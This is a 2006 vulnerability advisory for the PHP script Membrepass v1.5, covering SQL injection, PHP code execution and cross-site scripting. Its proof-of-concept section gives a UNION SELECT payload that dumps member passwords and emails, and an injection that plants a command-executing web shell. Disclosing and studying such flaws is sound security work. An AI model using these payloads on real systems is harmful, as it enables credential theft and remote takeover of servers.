================================================================= Affected.scr..: Membrepass v1.5 Advisory.ID...: 09290806 Type..........: Cross Site Scripting, SQL Injection Php code execution Risk.level....: Medium Vendor.Status.: Unpatched Src.download..: comscripts.com/scripts/php.membrepass.1459.html Adv.link......: acid-root.new.fr/advisories/09290806.txt ================================================================= ==[ OVERVIEW ============ membrepass AVEC MESSAGERIE est un espace membre installation automatique. Marche sur FREE,ONLINE et les autres hébergeurs.Le script est entierement configurable et possible d'ajouter les couleurs de votre site. Vous pouvez ajouter ou supprimer les champs formulaire. Protection des emails contre aspirateurs (anti SPAM). [Quote from www.comscripts.com] ==[ DETAILS =========== Many vulnerabilities have been discovered in Membrepass v1.5. 1)Input passed to the "recherche" parameter in /recherchemembre.php isn't properly sanitised before being used in a SQL query. This bug can be exploited to conduct SQL injection attacks. Successful exploitation may require that "magic_quotes_gpc" is disabled. 2)Input passed to the "aifon" parameter in /include/change.php isn't properly satanised before being used in fputs() function. This can be exploited to execude PHP code. Successful exploitation may require that "register_globals" is enabled and "magic_quotes_gpc" is disabled. 3)Input passed to the "recherche" parameter in /recherchemembre.php and to the "email" parameter in /test.php isn't properly satanised before being returned to the user. This can be exploited to conduct cross-site scripting attacks. Successful exploitation may require that "register_globals" is enabled. ==[ POC/EXPLOIT =============== POST /recherchemembre.php DATA recherche=' UNION SELECT passe,0,email,0,0,0,0,0,0,0,0,0,pseudo,0,0,0,0,0,0,0,0,0 FROM membre # GET /include/change.php DATA ainfo="; $cmd = $_GET['cmd']; system($cmd); exit; // http://.../include/variable.php?cmd=dir POST /recherchemembre.php DATA recherche= GET /test.php DATA email= ==[ SOLUTION ============ Edit the source code to ensure that input is properly verified. ==[ TIMELINE ============ 29. Aug. 2006 - Public Disclosure ==[ CONTACT =========== Author: DarkFig Web...: www.acid-root.new.fr E-mail: gmdarkfig[*]gmail[*]com (fr/en)